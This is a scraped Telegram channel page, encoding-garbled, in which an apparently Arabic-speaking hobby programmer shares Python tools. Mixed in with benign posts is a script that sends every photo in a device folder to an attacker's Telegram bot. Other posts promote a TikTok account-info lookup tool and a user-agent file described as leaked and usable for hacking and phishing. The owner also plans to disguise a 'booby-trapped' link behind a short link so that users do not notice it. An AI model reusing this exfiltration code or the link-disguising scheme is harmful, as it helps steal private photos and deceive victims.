XbYiT ๐Ÿ•Š๏ธ
61 subscribers
28 photos
15 files
42 links
A channel in which I publish:
Tools, api , bots, projects, courses
in the field of programming.
The channel owner's username: @XbYiT
Download Telegram
Forwarded from Back again... (Mohammed Almuswi ๐Ÿซถ)
info-user-tiktok.py
3.8 KB
User : klht
['a*h@gmail.com', '+964**70', '']
ูŠุฑุณู„ ู‡ุฐุง ุงู„ุจุฑู†ุงู…ุฌ ุงู„ู†ุตูŠ ุฌู…ูŠุน ุงู„ุตูˆุฑ ู…ู† ุฏู„ูŠู„ ู…ุญุฏุฏ ุฅู„ู‰ ุฏุฑุฏุดุฉ Telegram ุจุงุณุชุฎุฏุงู… ุฑูˆุจูˆุช. ุชุฃูƒุฏ ู…ู† ุงุณุชุจุฏุงู„ "YOUR_BOT_TOKEN" ูˆ"YOUR_CHAT_ID" ูˆ"PHOTOS_DIRECTORY" ุจุฑู…ุฒ ุงู„ุฑูˆุจูˆุช ุงู„ูุนู„ูŠ ูˆู…ุนุฑู ุงู„ุฏุฑุฏุดุฉ ูˆุงู„ุฏู„ูŠู„
import os
import requests

# Replace 'YOUR_BOT_TOKEN' with your actual Telegram bot token
bot_token = 'YOUR_BOT_TOKEN'

# Replace 'YOUR_CHAT_ID' with the chat ID of the recipient
chat_id = 'YOUR_CHAT_ID'

# Replace 'PHOTOS_DIRECTORY' with the directory path where the photos are stored
photos_directory = 'PHOTOS_DIRECTORY'

# Define the URL for sending photos
url = f'https://api.telegram.org/bot{bot_token}/sendPhoto'

# Get the file paths of all the photos in the directory
photo_file_paths = [os.path.join(photos_directory, file) for file in os.listdir(photos_directory) if file.endswith(('.jpg', '.jpeg', '.png', '.gif'))]

# Send each photo to the Telegram bot
for photo_file_path in photo_file_paths:
try:
# Open the photo file
with open(photo_file_path, 'rb') as photo_file:
# Define the payload for sending the photo
payload = {
'chat_id': chat_id,
'caption': 'This is a photo from the device',
'parse_mode': 'HTML'
}

# Define the files to send
files = {
'photo': photo_file
}

# Send the photo to the Telegram bot
response = requests.post(url, data=payload, files=files)

# Check the response
if response.status_code == 200:
print(f'Photo {photo_file_path} sent successfully.')
else:
print(f'Error occurred: {response.text}')

except Exception as e:
print(f'Failed to send photo {photo_file_path}: {e}')
https://github.com/Xghostxdz/UploadX
ู…ุดุฑูˆุน UploadX ู‡ูˆ ู…ุดุฑูˆุน ู„ุฅุฏุงุฑุฉ ุงู„ู…ู„ูุงุช ูˆ ู…ุดุงุฑูƒุชู‡ุง ู…ุน ุงู„ู†ุงุณ ู…ุน ุงู…ูƒุงู†ูŠุฉ ุชุญู…ูŠู„ูŠู‡ุง ุงูŠ ุฎุทุงุก ุฑุงุณู„ูˆู†ูŠ :
@xg_host
Forwarded from NiXXR | Python ๐ŸฆŠ (๐๐ˆ๐—๐—๐‘ | Dark CARACAL)
useragents.txt
112.1 KB
ู…ู„ู ููŠู‡ ุฃู„ู ูŠูˆุฒุฑ ุงุฌูŠู†ุช(user agent)
ู…ุณุฑุจุฉ ู…ู† ุจุทุงู‚ุงุช ุชุนุฑูŠูุฉ ู…ู† ู…ูˆุงู‚ุน ู…ุดู‡ูˆุฑุฉ
ูŠู…ูƒู† ุงุณุชุฎุฏุงู…ู‡ุง ู„ู„ุฃุฎุชุฑุงู‚ ูˆ ุงู„ุตูŠุฏ ๐ŸฆŠ๐Ÿ”ฅ
#DarkCaracal@pyNiXXR
Your opinion?
import wikipediaapi
from transformers import pipeline

# ุฅุนุฏุงุฏ ุงู„ู„ุบุฉ ุงู„ุนุฑุจูŠุฉ ู„ู„ุจุญุซ ููŠ ูˆูŠูƒูŠุจูŠุฏูŠุง
wiki = wikipediaapi.Wikipedia('ar')

# ู†ู…ูˆุฐุฌ ุงู„ุชู„ุฎูŠุต ู…ู† ู…ูƒุชุจุฉ transformers
summarizer = pipeline("summarization", model="facebook/bart-large-cnn")

def fetch_wikipedia_content(topic):
"""ุฌู„ุจ ู…ุญุชูˆู‰ ู…ู† ูˆูŠูƒูŠุจูŠุฏูŠุง"""
page = wiki.page(topic)
if not page.exists():
return None
return page

def summarize_content(text, max_length=200):
"""ุชู„ุฎูŠุต ุงู„ู†ุต ุจุงุณุชุฎุฏุงู… ู†ู…ูˆุฐุฌ ุงู„ุฐูƒุงุก ุงู„ุงุตุทู†ุงุนูŠ"""
if len(text.split()) <= max_length:
return text # ุฅุฐุง ูƒุงู† ุงู„ู†ุต ู‚ุตูŠุฑู‹ุงุŒ ู„ุง ุญุงุฌุฉ ู„ู„ุชู„ุฎูŠุต
try:
summary = summarizer(text, max_length=max_length, min_length=100, do_sample=False)
return summary[0]['summary_text']
except Exception as e:
return text # ููŠ ุญุงู„ุฉ ุงู„ุฎุทุฃุŒ ู†ุนูŠุฏ ุงู„ู†ุต ุงู„ุฃุตู„ูŠ

def generate_research(topic):
# 1. ุฌู…ุน ุงู„ู…ุนู„ูˆู…ุงุช ู…ู† ูˆูŠูƒูŠุจูŠุฏูŠุง
page = fetch_wikipedia_content(topic)
if page is None:
return f"ุนุฐุฑู‹ุงุŒ ู„ู… ุฃุชู…ูƒู† ู…ู† ุงู„ุนุซูˆุฑ ุนู„ู‰ ู…ุนู„ูˆู…ุงุช ุญูˆู„ ุงู„ู…ูˆุถูˆุน '{topic}'."

# 2. ุฅุนุฏุงุฏ ุงู„ุจุญุซ
research = {}
research['ู…ู‚ุฏู…ุฉ'] = f"ููŠ ู‡ุฐุง ุงู„ุจุญุซุŒ ุณู†ุณุชุนุฑุถ ู…ูˆุถูˆุน '{topic}' ู…ู† ู…ุฎุชู„ู ุงู„ุฌูˆุงู†ุจ."
research['ู…ู„ุฎุต ุนู† ุงู„ู…ูˆุถูˆุน'] = summarize_content(page.summary[:1500])

# 3. ุฅุถุงูุฉ ุฃู‚ุณุงู… ุงู„ุจุญุซ ู…ู† ูˆูŠูƒูŠุจูŠุฏูŠุง
for section in page.sections:
research[section.title] = summarize_content(section.text[:1500])

# 4. ุฅุถุงูุฉ ุฎุงุชู…ุฉ
research['ุฎุงุชู…ุฉ'] = f"ุจู‡ุฐุง ู†ูƒูˆู† ู‚ุฏ ุงุณุชุนุฑุถู†ุง ุฃู‡ู… ุงู„ุฌูˆุงู†ุจ ุงู„ู…ุชุนู„ู‚ุฉ ุจู…ูˆุถูˆุน '{topic}'."

# 5. ุฅุนุฏุงุฏ ู‚ุงุฆู…ุฉ ู…ุฑุงุฌุน
research['ุงู„ู…ุฑุงุฌุน'] = "ุงู„ู…ุตุฏุฑ ุงู„ุฃุณุงุณูŠ: ูˆูŠูƒูŠุจูŠุฏูŠุง ุงู„ุนุฑุจูŠุฉ"

# ุชุฌู…ูŠุน ุงู„ุจุญุซ
full_research = "\n\n".join([f"{title}:\n{content}" for title, content in research.items()])
return full_research

# ุทู„ุจ ุงู„ู…ูˆุถูˆุน ู…ู† ุงู„ู…ุณุชุฎุฏู…
topic = input("ุงูƒุชุจ ู…ูˆุถูˆุน ุงู„ุจุญุซ: ")
research_content = generate_research(topic)

# ุนุฑุถ ุงู„ุจุญุซ ุงู„ู…ูƒุชูˆุจ
print(research_content)

ุฎูˆุฑุฒู…ูŠุฉ ุชู‚ูˆู… ุจุงู†ุดุงุก ุจุญุซ ุนู† ู…ูˆุถูˆุน ู…ุนูŠู† ุงู†ุช ุชุญุฏุฏู‡
ุงู„ูƒูˆุฏ ูƒุงุชุจุชูŠ ุŒ ุงู„ููƒุฑุฉ ููƒุฑุชูŠ ุŒ ุชุตุญูŠุญ chatgpt ุŒ ุชุนู„ูŠู‚ุงุช chat gpt

@xg_host
ู…ู…ูƒู† ู†ุฌู…ุฉ ๐Ÿ™‚
50
https://t.me/XTOOLPYCHAT
ุดุงุช ุงู„ู‚ู†ุงุฉ
bot.py
1.4 KB
A simple bot that converts text to voice
The library was used:
telebot,datetime,gtts

The language in which it was programmed:
python

Programmer:@ANONYMOSXdev
ู…ูˆู‚ุน imginn.com ู„ู…ุดุงู‡ุฏุฉ ู…ุญุชูˆู‰ ุญุณุงุจุงุช ุงู†ุณุชุบุฑุงู… ุจุฏูˆู† ุชุณุฌูŠู„ ุงู„ุฏุฎูˆู„ ูˆ ุจุดูƒู„ ู…ุฌู‡ูˆู„.
ูŠู„ุง ุฑูŠูƒุดู†ุงุช ุจุฑูŠู… ูŠูˆู… ๐Ÿ˜
Please open Telegram to view this post
VIEW IN TELEGRAM
533
This media is not supported in your browser
VIEW IN TELEGRAM
2
๏ดฟ ‏ูˆูŽู‚ูู„ู’ ุฑูŽุจูู‘ ุฃูŽุฏู’ุฎูู„ู’ู†ููŠ ู…ูุฏู’ุฎูŽู„ูŽ ุตูุฏู’ู‚ู ูˆูŽุฃูŽุฎู’ุฑูุฌู’ู†ููŠ ู…ูุฎู’ุฑูŽุฌูŽ ุตูุฏู’ู‚ู ูˆูŽุงุฌู’ุนูŽู„ู’ ู„ููŠ ู…ูู†ู’ ู„ูŽุฏูู†ู’ูƒูŽ ุณูู„ู’ุทูŽุงู†ู‹ุง ู†ูŽุตููŠุฑู‹ุง ๏ดพ ๐Ÿ‚
21
XbYiT ๐Ÿ•Š๏ธ
Photo
i will update it โ˜บ๏ธโ˜บ๏ธโ˜บ๏ธ
Please open Telegram to view this post
VIEW IN TELEGRAM
XbYiT ๐Ÿ•Š๏ธ
i will update it โ˜บ๏ธโ˜บ๏ธโ˜บ๏ธ
ู…ุฐุง ุณูˆู ุงูุนู„ู‡ ููŠ ุงู„ุชุญุฏูŠุซ :
1 - ุจูˆุช ูŠู‚ูˆู… ุจุงู†ุดุงุก ู…ู„ู ุฎุงุต ุจูƒ ููŠู‡ token ุงู„ุฎุงุต ุจูƒ
2 - ุณูˆู ุงุฌุนู„ู‡ short link ูŠุนู†ูŠ ุงู„ู…ุณุชุฎุฏู… ู…ุฑุงุญ ูŠุนุฑู ุงู†ูˆ ุฏุฎู„ ุฑุงุจุท ู…ู„ุบู…
1
Channel photo updated
Channel name was changed to ยซXbYiT ๐Ÿ•Š๏ธยป
Token management system
this is a simple project for token management
the repo in github
by : @xbyit